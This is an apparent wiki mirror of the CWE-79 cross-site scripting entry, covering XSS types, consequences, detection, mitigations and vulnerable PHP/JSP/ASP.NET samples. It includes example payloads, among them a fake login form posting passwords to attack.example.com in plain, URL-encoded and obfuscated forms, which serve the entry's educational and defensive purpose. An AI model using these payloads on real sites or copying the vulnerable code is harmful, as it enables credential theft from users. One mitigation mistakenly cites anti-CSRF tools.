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cwe:cn:definition:79

CWE-79:在Web页面生成时对输入的转义处理不恰当(跨站脚本)

Description Summary

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.

2. The web application dynamically generates a web page that contains this untrusted data.

3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.

4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.

5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.

6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

Type 1: Reflected XSS (or Non-Persistent)

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

Type 2: Stored XSS (or Persistent)

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

Type 0: DOM-Based XSS

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as “drive-by hacking.”

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Background Details

Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or “origin”, to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or “origins”. The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Enabling Factors for Exploitation

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality.

Stored XSS got its start with web sites that offered a “guestbook” to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response.

Likelihood of Exploit

High to Very High

Common Consequences

Scope Technical Impace Note
Access_Control
Confidentiality
Bypass protection mechanism
Read application data
The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which – when parsed by a web browser – performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability
Execute unauthorized code or commandsIn some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access_Control
Execute unauthorized code or commands
Bypass protection mechanism
Read application data
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Detection Methods

Detection Method - 1

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Detection Method - 2

Black Box

Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.>With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Potential Mitigations

Mitigation - 1

Architecture and Design

Strategy:Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]

2013/05/30 09:36

Mitigation - 2

Implementation Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

Mitigation - 3

Architecture and Design Implementation

Strategy:Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

2013/05/30 09:37

Mitigation - 4

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

2013/05/30 09:37

Mitigation - 5

Architecture and Design

Strategy:Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using “exec” or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

2013/05/30 09:37

Mitigation - 6

Implementation

Strategy:Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

2013/05/30 09:37

Mitigation - 7

Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

2013/05/30 09:37

Mitigation - 8

Implementation

Strategy:Identify and Reduce Attack Surface

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

2013/05/30 09:37

Mitigation - 9

Implementation

Strategy:Input Validation

Assume all input is malicious. Use an “accept known good” input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, “boat” may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as “red” or “blue.”

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

2013/05/30 09:37

Mitigation - 10

Architecture and Design

Strategy:Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

2013/05/30 09:37

Mitigation - 11

Operation

Strategy:Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

2013/05/30 09:37

Mitigation - 12

Operation Implementation

Strategy:Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

2013/05/30 09:37

Demonstrative Examples

Example - 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

$username = $_GET['username']; 
echo '<div class="header"> Welcome, ' . $username . '</div>'; 

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script> 

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div> 

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

<div class="header"> Welcome, 
<div id="stealPassword">Please Login: 
<form name="input" action="attack.example.com/stealPassword.php" method="post"> 
Username: <input type="text" name="username" /> 
<br/> 
Password: <input type="password" name="password" /> 
<input type="submit" value="Login" /> 
 
</form> 
 
</div> 
 
</div> 

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22 
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input 
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php 
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text 
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A 
+%3Cinput+type%3D%22password%22+name%3D%22password%22 
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22 
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A 

The same attack string could also be obfuscated as:

trustedSite.example.com/welcome.php?username=<script+type="text/javascript"> 
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D 
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F 
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D 
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D 
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061 
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073 
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075 
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073 
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022 
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E 
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D 
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C 
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F 
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script> 

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example - 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<% String eid = request.getParameter("eid"); %> 
... 
Employee ID: <%= eid %> 

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

... 
protected System.Web.UI.WebControls.TextBox Login; 
protected System.Web.UI.WebControls.Label EmployeeID; 
... 
EmployeeID.Text = Login.Text; 
... (HTML follows) ... 
<p><asp:label id="EmployeeID" runat="server" /></p> 
... 

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example - 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<% 
... 
Statement stmt = conn.createStatement(); 
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); 
if (rs != null) { 
rs.next(); 
String name = rs.getString("name"); 
%> 
 
 
 
Employee Name: <%= name %> 

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

protected System.Web.UI.WebControls.Label EmployeeName; 
... 
string query = "select * from emp where id=" + eid; 
sda = new SqlDataAdapter(query, conn); 
sda.Fill(dt); 
string name = dt.Rows[0]["Name"]; 
... 
EmployeeName.Text = name; 

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example - 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

$username = mysql_real_escape_string($username); 
$fullName = mysql_real_escape_string($fullName); 
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ; 
mysql_query($query); 
/.../ 

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

$query = 'Select * From users Where loggedIn=true'; 
$results = mysql_query($query); 
if (!$results) { 
exit; 
 
} 
//Print list of users to page 
echo '<div id="userlist">Currently Active Users:'; 
while ($row = mysql_fetch_assoc($results)) { 
echo '<div class="userNames">'.$row['fullname'].'</div>'; 
 
} 
echo '</div>'; 

The attacker can set his name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Observed Examples

Reference Description
CVE-2008-5080Chain: protection mechanism failure allows XSS
CVE-2006-4308Chain: only checks “javascript:” tag
CVE-2007-5727Chain: only removes SCRIPT tags, enabling XSS
CVE-2008-5770Reflected XSS using the PATH_INFO in a URL
CVE-2008-4730Reflected XSS not properly handled when generating an error message
CVE-2008-5734Reflected XSS sent through email message.
CVE-2008-0971Stored XSS in a security product.
CVE-2008-5249Stored XSS using a wiki page.
CVE-2006-3568Stored XSS in a guestbook application.
CVE-2006-3211Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.
cwe/cn/definition/79.txt · 最后更改: 2014/09/04 14:53 (外部编辑)